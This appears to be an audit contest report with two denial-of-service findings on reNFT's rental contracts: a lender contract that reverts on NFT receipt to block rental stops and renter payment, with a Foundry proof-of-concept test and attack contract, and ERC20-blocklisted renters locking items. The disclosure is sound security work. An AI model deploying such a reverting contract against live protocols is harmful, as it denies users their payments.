reNFT - HSP's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L93-L99

Vulnerability details

Impact

Lender can revert on receiving ERC721/ERC1155 item to prevent renter from receiving payment in a PAY order.

Proof of Concept

When a rent is stopped, Reclaimer#reclaimRentalOrder is delegate called from Safe to transfer ERC721/ERC1155 items to lender:

        // Transfer each item if it is a rented asset.
        for (uint256 i = 0; i < itemCount; ++i) {
            Item memory item = rentalOrder.items[i];


            // Check if the item is an ERC721.
            if (item.itemType == ItemType.ERC721)
                _transferERC721(item, rentalOrder.lender);


            // check if the item is an ERC1155.
            if (item.itemType == ItemType.ERC1155)
                _transferERC1155(item, rentalOrder.lender);
        }

And PaymentEscrow#settlePayment is called to transfer ERC20 tokens to renter:

        // Send the payment.
        _safeTransfer(token, settleToAddress, amount);

In _transferERC721(...) function, safeTransferFrom(...) function is called on the ERC721 contract, and in _transferERC1155(...) function, safeTransferFrom(...) function is called on the ERC1155 contract.

In both safeTransferFrom(...) functions, a callback function will be called on the receiver if receiver is a contract (onERC721Received / onERC1155Received ), because seaport supports EIP-1271, so the lender can create PAY order with lender address being a contract which implements isValidSignature(...) function, to revert on ERC721/ERC1511 callback functions, and the stop transaction will be reverted, renter will not be able to receive ERC20 payment.

Please note this does not necessarily mean lender will lose the ERC721/ERC1155 items, because lender can modify receiver contract status to receive ERC721/ERC1155 items whenever he/she wants. Even though renter can verify the lender contract before fulfill the order, lender can upgrade the contract after the order if fulfilled.

Please see below test case:

    function test_audit_lender_revert_onERC721Received() public {
        // Set lender address to a contract
        LenderContract lenderContract = new LenderContract();
        alice.addr = address(lenderContract); 

        // create a PAY order
        createOrder({
            offerer: alice,
            orderType: OrderType.PAY,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 1,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 0
        });

        // set approvals
        erc20s[0].mint(address(lenderContract), 100);
        lenderContract.approve(address(conduit), address(erc20s[0]), address(erc721s[0]));
        lenderContract.setRevertStatus(true);

        // finalize the pay order creation
        (
            Order memory payOrder,
            bytes32 payOrderHash,
            OrderMetadata memory payOrderMetadata
        ) = finalizeOrder();

        // create a PAYEE order. The fulfiller will be the offerer.
        createOrder({
            offerer: bob,
            orderType: OrderType.PAYEE,
            erc721Offers: 0,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 1,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the pay order creation
        (
            Order memory payeeOrder,
            bytes32 payeeOrderHash,
            OrderMetadata memory payeeOrderMetadata
        ) = finalizeOrder();

        // create an order fulfillment for the pay order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payOrder,
            orderHash: payOrderHash,
            metadata: payOrderMetadata
        });

        // create an order fulfillment for the payee order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payeeOrder,
            orderHash: payeeOrderHash,
            metadata: payeeOrderMetadata
        });

        // add an amendment to include the seaport fulfillment structs
        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});

        // finalize the order pay/payee order fulfillment
        (RentalOrder memory payRentalOrder, ) = finalizePayOrderFulfillment();

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        // stop the rental order and revert
        vm.expectRevert(abi.encodeWithSignature("StopPolicy_ReclaimFailed()"));
        vm.prank(bob.addr);
        stop.stopRent(payRentalOrder);
    }

contract LenderContract {

    bytes4 internal constant EIP1271_MAGIC_VALUE = 0x1626ba7e;

    bool revertStatus;

    function setRevertStatus(bool _revertStatus) public {
        revertStatus = _revertStatus;
    }

    function approve(address _approved, address _erc20, address _erc721) external {
        MockERC20(_erc20).approve(_approved, type(uint256).max);
        MockERC721(_erc721).setApprovalForAll(_approved, true);
    }

    function onERC721Received(address, address, uint256, bytes calldata) external view returns (bytes4) {
        if (revertStatus) {
            revert();
        } else {
            return this.onERC721Received.selector;
        }
    }

    function isValidSignature(bytes32 _hash, bytes memory _signature) public view returns (bytes4 magicValue) {
        return EIP1271_MAGIC_VALUE;
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Use transferFrom(...) function to transfer ERC721/ERC1155 items.

Assessed type

DoS

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/PaymentEscrow.sol#L100

Vulnerability details

Impact

ERC20 blacklist user can fulfill PAY order and make ERC721/ERC1155 items locked in the Safe.

Proof of Concept

When a rent is stopped, Reclaimer#reclaimRentalOrder is delegate called from Safe to transfer ERC721/ERC1155 items to lender:

        // Transfer each item if it is a rented asset.
        for (uint256 i = 0; i < itemCount; ++i) {
            Item memory item = rentalOrder.items[i];


            // Check if the item is an ERC721.
            if (item.itemType == ItemType.ERC721)
                _transferERC721(item, rentalOrder.lender);


            // check if the item is an ERC1155.
            if (item.itemType == ItemType.ERC1155)
                _transferERC1155(item, rentalOrder.lender);
        }

And PaymentEscrow#settlePayment is called to transfer ERC20 tokens to renter:

        // Send the payment.
        _safeTransfer(token, settleToAddress, amount);

Transaction will revert if transfer failed:

        if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
            revert Errors.PaymentEscrowModule_PaymentTransferFailed(token, to, value);
        }

Some tokens (e.g. USDC, USDT) have a contract level admin controlled address blocklist. If an address is blocked, then transfers to and from that address are forbidden.

If a ERC20 blacklisted user fulfilled a PAY order, then order cannot be stopped due to transferring ERC20 tokens to the renter will always revert, the lender's ERC720/ERC1155 items will be locked in the Safe.

Tools Used

Manual Review

Recommended Mitigation Steps

Do not directly transfer ERC20 tokens to renter, renter need to claim themselves.

Assessed type

DoS